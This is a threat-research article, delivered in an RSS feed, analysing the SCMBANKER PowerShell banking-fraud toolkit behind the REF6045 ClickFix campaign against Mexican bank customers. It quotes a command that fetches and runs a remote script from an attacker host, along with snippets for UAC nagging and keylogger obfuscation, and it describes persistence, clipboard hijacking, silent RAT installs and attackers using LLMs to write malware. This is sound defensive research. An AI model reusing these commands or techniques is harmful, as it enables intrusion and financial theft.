<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>Elastic Security Labs</title>
        <link>https://www.elastic.co/fr/security-labs</link>
        <description>Trusted security news &amp; research from the team at Elastic.</description>
        <lastBuildDate>Thu, 09 Jul 2026 14:33:17 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>Elastic Security Labs</title>
            <url>https://www.elastic.co/fr/security-labs/assets/security-labs-thumbnail.png</url>
            <link>https://www.elastic.co/fr/security-labs</link>
        </image>
        <copyright>© 2026. elasticsearch B.V. All Rights Reserved</copyright>
        <item>
            <title><![CDATA[ClickFix to Cash-Out: Anatomy of a Mexican Banking-Fraud Toolkit]]></title>
            <link>https://www.elastic.co/fr/security-labs/mexican-banking-fraud-scmbanker-ref6045</link>
            <guid>mexican-banking-fraud-scmbanker-ref6045</guid>
            <pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs tracks REF6045, an active operator-assisted banking fraud operation targeting customers of Mexican banks, fintech, payment processors, and cryptocurrency exchanges. ]]></description>
            <content:encoded><![CDATA[<p>A Mexican banking fraud operation we're tracking as REF6045 doesn't run on autopilot. A human operator is behind the wheel, monitoring infected machines and deciding what happens next. Victims are infected through fake CAPTCHA pages that trick them into running a single command, which installs SCMBANKER, a PowerShell toolkit with components dating back to at least October 2025. Once installed, the operator can see when a victim opens a banking session, lock the screen behind a fake bank warning, push the victims towards live phone interaction, redirect the browser, or replace account numbers copied to the clipboard. For a full takeover, they can also deploy a commercial remote-access tool.</p>
<h2>Key takeaways</h2>
<ul>
<li>REF6045 adapts ClickFix delivery into operator-assisted banking fraud, using fake verification pages to stage a PowerShell toolkit (we’re calling SCMBANKER) on victim machines</li>
<li>SCMBANKER gives operators a full fraud workflow: banking-session monitoring, screenshot capture, vishing overlays, phishing redirects, clipboard manipulation, and Remote Utilities installation</li>
<li>SCMBANKER heavily targets Mexico’s financial ecosystem, including retail banks, business banking portals, fintechs, payment processors, cryptocurrency exchanges, investment platforms, SAT, and telecom services</li>
<li>Operator OPSEC failures, including open directories, a leaked web-root archive, and an unauthenticated file editor, expose the operation’s tooling and targeting logic</li>
<li>The scripts are riddled with AI-generated artifacts, indicating that the operator used an LLM to write most of the tooling</li>
</ul>
<h2>How Elastic Security Labs discovered REF6045</h2>
<p>On June 18, 2026, Elastic telemetry surfaced a host using <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin">bitsadmin</a> to download a batch of suspicious PowerShell scripts from an open directory at <code>http://68.211.161[.]46/files/</code>. The open directory allowed us to retrieve the individual agent scripts directly, and from the same server, we recovered an archive, <code>zkt.zip</code>, containing the operation's full web root before it was removed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image16.png" alt="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" title="Elastic Defend alerts detecting SCMBANKER's suspicious bitsadmin download activity" /></p>
<p>At the web root of <code>http://68.211.161[.]46/</code>, we found a ClickFix fake-CAPTCHA flow that presented itself as a security verification page. The page first asked the visitor to complete an image challenge, including a Spanish prompt to select fire hydrants, before moving into the familiar Windows Run verification instructions. The command fetches <code>validation.txt</code> from the same web server and pipes it directly into <code>cmd.exe</code>, using the lure text “Google Verificación Segura (Version 2025.5755)”. The page also sends a POST request to a tracking endpoint at <code>https://ww.ssinvestigaciones[.]com/login3.php</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image17.png" alt="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" title="Spanish-language fake CAPTCHA challenge used in the REF6045 ClickFix banking fraud lure" /></p>
<p>Because <a href="https://developer.mozilla.org/en-US/docs/Web/API/Clipboard/writeText"><code>navigator.clipboard.writeText()</code></a> requires a secure, focused browser context to copy the malicious command to the victim's clipboard, the original IP (<code>http://68.211.161[.]46/</code>) was unlikely to be the only victim-facing delivery path. We identified multiple HTTPS ClickFix hosts that reused the same command pattern and pointed victims back to the exposed file servers for <code>validation.txt</code>.</p>
<p>The observed ClickFix and file-server variants are included in the following table. The C2 values were extracted from the PowerShell scripts hosted under each <code>/files</code> open directory.</p>
<table>
<thead>
<tr>
<th align="left">ClickFix host</th>
<th align="left">ClickFix validation.txt file source</th>
<th align="left">File host (hosting toolkit)</th>
<th align="left">C2 extracted from hosted PS1 scripts</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>https://ratonvaquero2026[.]online/</code></td>
<td align="left"><code>http://68.211.161[.]46/validation.txt</code></td>
<td align="left"><code>https://ratonvaquero2026[.]online/files/</code></td>
<td align="left"><code>https://negratomasa2026[.]online/dashboard2/recData.php</code></td>
</tr>
<tr>
<td align="left"><code>https://monteviral2026.duckdns[.]org/</code></td>
<td align="left"><code>http://68.211.161[.]46/validation.txt</code></td>
<td align="left"><code>https://monteviral2026.duckdns[.]org/files/</code></td>
<td align="left"><code>https://gestionmontelavaria2026[.]online/dashboard2/recData.php</code></td>
</tr>
<tr>
<td align="left"><code>https://osogransd[.]online/</code></td>
<td align="left"><code>http://216.250.112[.]100/validation.txt</code></td>
<td align="left"><code>https://osogransd[.]online/files/</code></td>
<td align="left"><code>http://185.242.246[.]169/dashboard2/recData.php</code></td>
</tr>
</tbody>
</table>
<h2>SCMBANKER's execution chain</h2>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image20.png" alt="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" title="Diagram of the REF6045 SCMBANKER execution chain from ClickFix lure to C2 control" /></p>
<p>The initial infection chain described below uses the <code>monteviral2026.duckdns[.]org</code> ClickFix page as an example, but the observed variants follow the same pattern: they present a CAPTCHA-style verification page, including an image challenge, before copying a command to the clipboard and instructing the victim to run it from the Windows Run dialog.</p>
<p>Below is an example command line:</p>
<pre><code class="language-shell">cmd /c curl -k http://68.211.161[.]46/validation.txt | cmd.exe &amp; exit #                                                     CIoudfIare            Google Verificación Segura (Version 2025.5755)
</code></pre>
<p>Decoy strings &quot;CIoudfIare&quot; with capital-I homoglyphs, and the &quot;Google Verificación Segura&quot; version text are reproduced verbatim.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image18.png" alt="ClickFix fake verification page telling victims to paste a command into Windows Run" title="ClickFix fake verification page telling victims to paste a command into Windows Run" /></p>
<p>Despite the <code>.txt</code> extension, it is a Windows batch script that prepares the host and sets up the full toolkit in six different stages.</p>
<h3>Fake update smokescreen</h3>
<p>The batch script immediately launches Microsoft Edge in <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-configure-kiosk-mode#overview">kiosk mode</a> pointing to <code>fakeupdate[.]net</code>, a well-known pentesting/red team site that renders a fake Windows Update screen. This distraction buys time for the script to fully execute.</p>
<pre><code class="language-shell">start msedge.exe --kiosk https://fakeupdate[.]net/win10ue --edge-kiosk-type=fullscreen
</code></pre>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image3.png" alt="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" title="Fake Windows Update screen SCMBANKER displays to distract Mexican banking fraud victims" /></p>
<h3>UAC consent fatigue loop</h3>
<p>Next, the malware checks if it is running as admin via <code>net session</code>. If it is not elevated, it shows a social-engineered message &quot;Windows: Se requieren permisos de administrador para actualizar su sistema...&quot; (Administrator permissions are required to update your system…), and relaunches itself with <code>-Verb RunAs</code> every 20 seconds, frustrating and forcing the victim to click “Yes” on the UAC consent prompt.</p>
<pre><code class="language-shell">:check
net session &gt;nul 2&gt;&amp;1
if %errorlevel%==0 goto admin
echo Windows: Se requieren permisos de administrador para actualizar su sistema...
powershell -Command &quot;Start-Process '%~f0' -Verb RunAs&quot;
timeout /t 20 &gt;nul
goto check
</code></pre>
<h3>Cursor trap</h3>
<p>Once elevated, an inline PowerShell P/Invoke call to <code>user32.dll!ClipCursor</code> confines the mouse to a single 1x1 pixel rectangle at the screen center, locking any mouse movement. This is paired with the fake Windows Update screen to encourage the victim to stay idle, giving time for the malware to download the full toolset in the background without interruption.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image10.png" alt="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" title="PowerShell ClipCursor code SCMBANKER uses to lock a victim's mouse during infection" /></p>
<h3>Downloading the SCMBANKER toolkit via bitsadmin</h3>
<p>All malicious scripts, files, and binaries are pulled individually via <code>bitsadmin</code> from <code>http://68.211.161[.]46/files/</code> to <code>C:\Users\Public\</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image8.png" alt="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" title="bitsadmin transfer jobs to download the SCMBANKER toolkit modules" /></p>
<h3>SCMBANKER's persistence: registry Run key and startup folder</h3>
<p>Two persistence mechanisms launched by <code>C:\Users\Public\run.vbs</code> on logon, plus a one-shot infection marker:</p>
<ul>
<li><strong>Run key</strong>: <code>HKCU\...\Run</code>, value <code>&quot;run&quot;</code>, runs hidden PowerShell launching <code>run.vbs</code>.</li>
<li><strong>Startup folder</strong>: <code>run.vbs</code> dropped to three path variants (<code>%APPDATA%</code>, <code>%USERPROFILE%\AppData\Roaming</code>, and the legacy XP <code>%USERPROFILE%\Start Menu</code>).</li>
<li><strong>RunOnce timestamp</strong>: value <code>&quot;id&quot;</code> writes <code>%date% %time%</code> to <code>C:\Users\Public\id.txt</code> once on next logon, then self-deletes.</li>
</ul>
<h3>Forcing a reboot to trigger persistence</h3>
<p>The script sends an F11 keypress to exit fullscreen, followed by a Ctrl+W keypress sequence to close the fake Windows Update tab. However, this approach only works in a standard fullscreen browser window, not in kiosk mode. It then forces a reboot with the <code>shutdown /r /t 02</code> command and switches. Upon restart, the previous persistence mechanism via the Registry Run key triggers execution of the VBScript file (<code>run.vbs</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image19.png" alt="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" title="Batch script commands SCMBANKER uses to close its decoy tab and force a reboot" /></p>
<h2>The SCMBANKER toolkit</h2>
<h3>run.vbs: SCMBANKER's master launcher</h3>
<p>The VBScript (<code>run.vbs</code>) is the master launcher. It uses <code>WScript.Shell.Run</code> with a hidden window style and <code>Invoke-Expression</code> to start the toolkit's modules in parallel:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image9.png" alt="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" title="SCMBANKER's run.vbs master launcher starting each banking fraud toolkit module" /></p>
<p><code>run.vbs</code> launches the following modules:</p>
<table>
<thead>
<tr>
<th>Script</th>
<th>Role</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>rotor2.ps1</code></td>
<td>Long-running process-mutation rotator for <code>mensaje1.ps1</code> (vishing module)</td>
</tr>
<tr>
<td><code>ini.ps1</code></td>
<td>Delayed launcher for <code>jujuzkt.ps1</code> (banking activity monitor)</td>
</tr>
<tr>
<td><code>remo.ps1</code></td>
<td>IP-gated launcher for <code>jujuzkt2.ps1</code> (phishing redirect module)</td>
</tr>
<tr>
<td><code>edifhjwe.ps1</code></td>
<td>Toolkit updater</td>
</tr>
<tr>
<td><code>cliente.ps1</code></td>
<td>C2 beacon / implant control channel</td>
</tr>
<tr>
<td><code>avs.ps1</code></td>
<td>Remote Utilities RAT installer downloader</td>
</tr>
<tr>
<td><code>clip.ps1</code> / <code>clip2.ps1</code></td>
<td><a href="https://en.wikipedia.org/wiki/CLABE">CLABE</a> and card-number clipboard hijackers</td>
</tr>
<tr>
<td><code>correr.ps1</code></td>
<td>Arbitrary PowerShell executor</td>
</tr>
<tr>
<td><code>cursor2.exe</code></td>
<td>Invisible-cursor utility (compiled AutoIt). Replaces every system cursor type with an invisible cursor at <code>C:\Users\Public\invi.cur</code></td>
</tr>
</tbody>
</table>
<p>Pivoting in VirusTotal, we discovered earlier versions of the toolkit components, suggesting the tooling has been in use since at least October 2025 and has been iterated on for several months.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image1.png" alt="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" title="VirusTotal scan showing 8 of 63 vendors flagging an early version of SCMBANKER's run.vbs launcher script" /></p>
<h3>C2 beacon and victim management</h3>
<p>Every 30 seconds, <code>cliente.ps1</code> collects a machine profile and performs an HTTP POST request to <code>https://negratomasa2026[.]online/dashboard2/recData.php</code>:</p>
<p>The following tables represent this request data and their associated fields:</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Source</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>machine_name</code></td>
<td><code>$env:COMPUTERNAME</code></td>
<td>Victim identification</td>
</tr>
<tr>
<td><code>client_id</code></td>
<td><code>GUID</code> in <code>client_id.txt</code></td>
<td>Unique implant ID (persists across reboots)</td>
</tr>
<tr>
<td><code>ip_local</code></td>
<td><code>Get-NetIPAddress</code></td>
<td>Internal network recon</td>
</tr>
<tr>
<td><code>ip_public</code></td>
<td><code>api.ipify.org</code></td>
<td>External IP for geolocation and targeting</td>
</tr>
<tr>
<td><code>comentario</code></td>
<td><code>comentario.txt</code></td>
<td>Operator's notes/label for this victim</td>
</tr>
<tr>
<td><code>idInternet</code></td>
<td><code>id.txt</code></td>
<td>Infection timestamp</td>
</tr>
<tr>
<td><code>remoto</code></td>
<td><code>agent.txt</code></td>
<td>RAT installation status (default: <code>SIN REMOTO AUN</code>)</td>
</tr>
<tr>
<td><code>comando</code></td>
<td><code>comando.txt</code></td>
<td>Last command received</td>
</tr>
<tr>
<td><code>optUpdate</code></td>
<td>hardcoded “update”</td>
<td>Meant to flag whether the remote tool is installed, but it's overridden to always say <code>&quot;update&quot;</code> (likely debugging leftover)</td>
</tr>
<tr>
<td><code>timestamp</code></td>
<td>Unix epoch</td>
<td>Beacon time</td>
</tr>
</tbody>
</table>
<p>The C2 response contains two operator-controlled fields.</p>
<p>The data from the <code>comentario</code> field is saved to <code>comentario.txt</code> and stores the operator’s label or notes for the victim.</p>
<p>The data from the <code>comando</code> field is saved to <code>comando.txt</code>. Other modules poll that file for operator instructions:</p>
<ul>
<li><code>avs.ps1</code> handles MSI URLs,</li>
<li><code>edifhjwe.ps1</code> handles ZIP update packages</li>
<li><code>correr.ps1</code> handles PowerShell-prefixed execution requests.</li>
</ul>
<p>The following image shows the server response parsing logic.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image13.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h3>Banking activity monitor</h3>
<p>The primary banking activity monitor is a PowerShell script (<code>jujuzkt.ps1</code>), but it also has optional active branches:</p>
<ul>
<li>URL injection when a configured target has a redirect URL, and</li>
<li>a commented-out keylogger rotator path via <code>rotor.ps1</code>.</li>
</ul>
<p>After a short startup delay, invoked by <code>ini.ps1</code>, the banking monitor script refreshes three configuration files every five minutes.</p>
<table>
<thead>
<tr>
<th>Remote URL</th>
<th>Local File</th>
<th>Content</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>https://negratomasa2026[.]online/a/teleavisos.txt</code></td>
<td><code>config1.txt</code></td>
<td>Arbitrary PowerShell  executed via <code>Invoke-Expression</code></td>
</tr>
<tr>
<td><code>https://negratomasa2026[.]online/b/listadebancos.txt</code></td>
<td><code>config2.txt</code></td>
<td>Window title keywords (bank names + optional redirection target, <code>*</code>-delimited)</td>
</tr>
<tr>
<td><code>https://negratomasa2026[.]online/b/keysnegativas.txt</code></td>
<td><code>config_negative.txt</code></td>
<td>Negative keywords to filter out false matches when scanning opened windows</td>
</tr>
</tbody>
</table>
<p>Once running, the banking activity monitor checks all visible window titles every second. A match (full list <a href="https://gist.github.com/jiayuchann/cfbeb1b194b2e186fc599eb51d4719cc">here</a>) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to <code>https://negratomasa2026[.]online/dashboard2/avisos2.php</code> in the following format:</p>
<pre><code>mensaje = &quot;&lt;window title&gt;
Detected C0incidence: '&lt;keyword&gt;'
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: &lt;hostname&gt;
Cliente desde: &lt;id&gt;
Client ID: &lt;clientId&gt;
IP: &lt;public_ip&gt;
Navegador: &lt;process_name&gt;
&lt;current timestamp&gt;&quot;
clientId = &lt;clientId&gt;
</code></pre>
<p>A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The <code>rotor</code> scripts act as short-lived wrappers: they copy a target script into <code>%TEMP%</code> under Windows-like process names, execute the copy, and repeat for a set period. In this case, <code>rotor1.ps1</code> repeatedly spawns <code>screen2.ps1</code> every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each <code>screen2.ps1</code> run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to <code>https://negratomasa2026[.]online/dashboard2/imagenes.php</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image23.png" alt="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" title="PowerShell code from SCMBANKER's rotor and screen modules compressing and uploading screenshots" /></p>
<h3>SCMBANKER's keylogging module</h3>
<p><code>jujuzkt.ps1</code> also contains a commented-out path to launch <code>rotor.ps1</code>, a short-lived rotator for <code>key.ps1</code>. While the banking monitor path launches <code>rotor1.ps1</code> for screenshots, the presence of <code>rotor.ps1</code> and <code>key.ps1</code> shows an additional keylogging capability in the toolkit. <code>rotor.ps1</code> applies the same rotator pattern to <code>C:\Users\Public\key.ps1</code>.</p>
<p>This PowerShell script (<code>key.ps1</code>) fetches Telegram bot credentials from <code>https://negratomasa2026[.]online/a/telekeylogger.txt</code> via <code>Invoke-Expression</code>, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to <code>https://negratomasa2026[.]online/dashboard2/logs.php</code> with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.</p>
<h3>The vishing engine: turning infections into live phone scams</h3>
<p>The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. <code>rotor2.ps1</code> applies the rotator pattern to <code>mensaje1.ps1</code>, keeping the dispatcher alive under changing Windows-like filenames.</p>
<p>When <code>mensaje1.ps1</code> is launched, every 10 seconds it fetches <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code>, where each line has the format <code>&lt;IP&gt;*&lt;URL&gt;</code>, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image12.png" alt="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" title="SCMBANKER configuration mapping victim IP addresses to vishing lock-screen pages" /></p>
<p>The operator can choose between two overlay behaviors.</p>
<ul>
<li><code>mensaje.ps1</code> creates a borderless, topmost <a href="https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.webbrowser?view=windowsdesktop-10.0">WebBrowser</a> window, confines the mouse to the form, and uses a <code>200</code> ms timer to bring the overlay back to the foreground if the victim clicks away.</li>
<li><code>mensajeoff.ps1</code> uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL in <code>ipsabloquearconiframe.txt</code> ends with <code>?off</code>.</li>
</ul>
<p>The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, <code>http://68.211.161[.]46/driver.html?off</code>, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image14.png" alt="Fake bank security warning pages SCMBANKER shows victims during vishing session" title="Fake bank security warning pages SCMBANKER shows victims during vishing session" /></p>
<h3>Active browser redirects to phishing pages</h3>
<p>Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. <code>remo.ps1</code> polls <code>https://negratomasa2026[.]online/b/&lt;redacted&gt;.txt</code> every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, <code>jujuzkt2.ps1</code>.</p>
<p><code>jujuzkt2.ps1</code> watches window titles against <code>https://negratomasa2026[.]online/b/urlsscams.txt</code> (archived list <a href="https://gist.github.com/jiayuchann/5851f64467bac4c456dab67e2fb55622">here</a>) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (Ctrl+L, Ctrl+V, and Enter), then pauses before continuing.</p>
<p>Many <code>urlsscams.txt</code> entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.</p>
<p>An observed redirect destination, <code>https://bancaporinternetbbmx[.]online</code>, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image21.png" alt="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" title="JavaScript code sending victim device and location data to Telegram on a SCMBANKER phishing page" /></p>
<h3>Clipboard and transfer manipulation</h3>
<p>The clipboard modules focus on payment redirection rather than credential theft.</p>
<ul>
<li><code>clip.ps1</code> checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from <code>https://negratomasa2026[.]online/b/clabes.txt</code></li>
<li><code>clip2.ps1</code> applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from <code>https://negratomasa2026[.]online/b/tarjetas.txt</code></li>
</ul>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image15.png" alt="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" title="SCMBANKER's clip.ps1 and clip2.ps1 scripts hijacking CLABE and card numbers" /></p>
<h3>How does the operator get hands-on access to a victim's machine?</h3>
<p>SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes <a href="https://www.remoteutilities.com/">Remote Utilities Host</a>, a legitimate commercial remote-administration product, and configures it silently to call back.</p>
<p>Deployment is operator-triggered and runs through three scripts. The first script (<code>avs.ps1</code>) polls <code>comando.txt</code> every 120 seconds, and when the operator pushes an <code>.msi</code> URL it downloads the installer to <code>C:\Users\Public\</code> and launches <code>instaler.ps1</code>. This second script ( <code>instaler.ps1</code>) exits if the <code>99.kut</code> guard file already exists so the RAT installs only once, relaunches itself with <code>-Verb RunAs</code> until it gets admin, then installs silently with <code>msiexec /i &quot;hosts.msi&quot; /quiet /norestart</code>. On success, it writes <code>REMOTO INSTALADO</code> to <code>agent.txt</code>, drops the <code>99.kut</code> guard, and runs <code>attrib +h +s &quot;C:\Users\Public&quot;</code> to hide the implant directory.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image6.png" alt="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" title="Extracted file list from SCMBANKER's Remote Utilities Host remote access installer" /></p>
<p>The third script(<code>remoto.ps1</code>) waits 120 seconds, then imports a registry blob into <code>HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters</code> that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID <code>46053.045416157</code>).</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image7.png" alt="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" title="Decoded registry configuration SCMBANKER uses to auto-connect its remote access tool" /></p>
<p>It also deletes the <code>UninstallString</code> at <code>HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9}</code> so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.</p>
<p>The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the <code>driver.html?off</code> vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.</p>
<h3>SCMBANKER's self-update mechanism</h3>
<p>SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. <code>edifhjwe.ps1</code> polls <code>C:\Users\Public\comando.txt</code> (C2 command written by <code>cliente.ps1</code>) every 40 seconds and treats a ZIP URL as an update instruction.</p>
<p>When triggered, <code>edifhjwe.ps1</code> downloads the ZIP to <code>%TEMP%\Agent_temp.zip</code>, wipes most of <code>C:\Users\Public\</code>, and extracts the new toolkit into place. It preserves a small set of state files, including <code>comando.txt</code>, <code>comentario.txt</code>, <code>id.txt</code>, <code>agent.txt</code>, and <code>99.kut</code>, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.</p>
<p>After extraction, the updater writes <code>BOT ACTUALIZADO</code> to <code>comando.txt</code> as a completion flag, kills running PowerShell module processes by script name, and relaunches <code>run.vbs</code>.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image4.png" alt="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" title="PowerShell code showing SCMBANKER's self-update module downloading a new toolkit ZIP" /></p>
<h2>Is the REF6045 malware written by AI?</h2>
<p>The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.</p>
<p>The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (<code>rotor2.ps1</code> and <code>key.ps1</code>), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image11.png" alt="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" title="AI-generated comments in SCMBANKER's rotor2.ps1 script revealing LLM-written malware" /></p>
<p><code>key.ps1</code> has a self-documenting obfuscation; Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:</p>
<pre><code>$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx
</code></pre>
<p>Every script opens with heavy banner-comment dividers (<code>INTERVALOS DE TIEMPO</code>, <code>DICCIONARIOS Y VARIABLES</code>, <code>FUNCIONES</code>, <code>INICIO</code>, <code>LOOP PRINCIPAL</code>). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.</p>
<p>Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.</p>
<p>As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.</p>
<h2>REF6045's infrastructure and OPSEC failures</h2>
<p>The depth of this analysis was made possible by poor server hygiene across the operation. The file server at <code>http://68.211.161[.]46/files/</code> had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted <code>zkt.zip</code>, which yielded the entire operation in a single archive.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image22.png" alt="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" title="Open directory listing exposing SCMBANKER's PowerShell toolkit files for download" /></p>
<p>The C2 also exposed an unauthenticated file editor at <code>/b/editor.php</code>, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image5.png" alt="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" title="Unauthenticated REF6045 file editor exposing live banking fraud targeting configuration" /></p>
<p>The related hosts listed in Discovery reused the same <code>validation.txt</code> delivery pattern while hosting overlapping PowerShell toolsets under <code>/files</code>. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.</p>
<p><img src="https://www.elastic.co/fr/security-labs/assets/images/mexican-banking-fraud-scmbanker-ref6045/image2.png" alt="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" title="Three REF6045 command-and-control panels sharing the same SCM banking fraud login template" /></p>
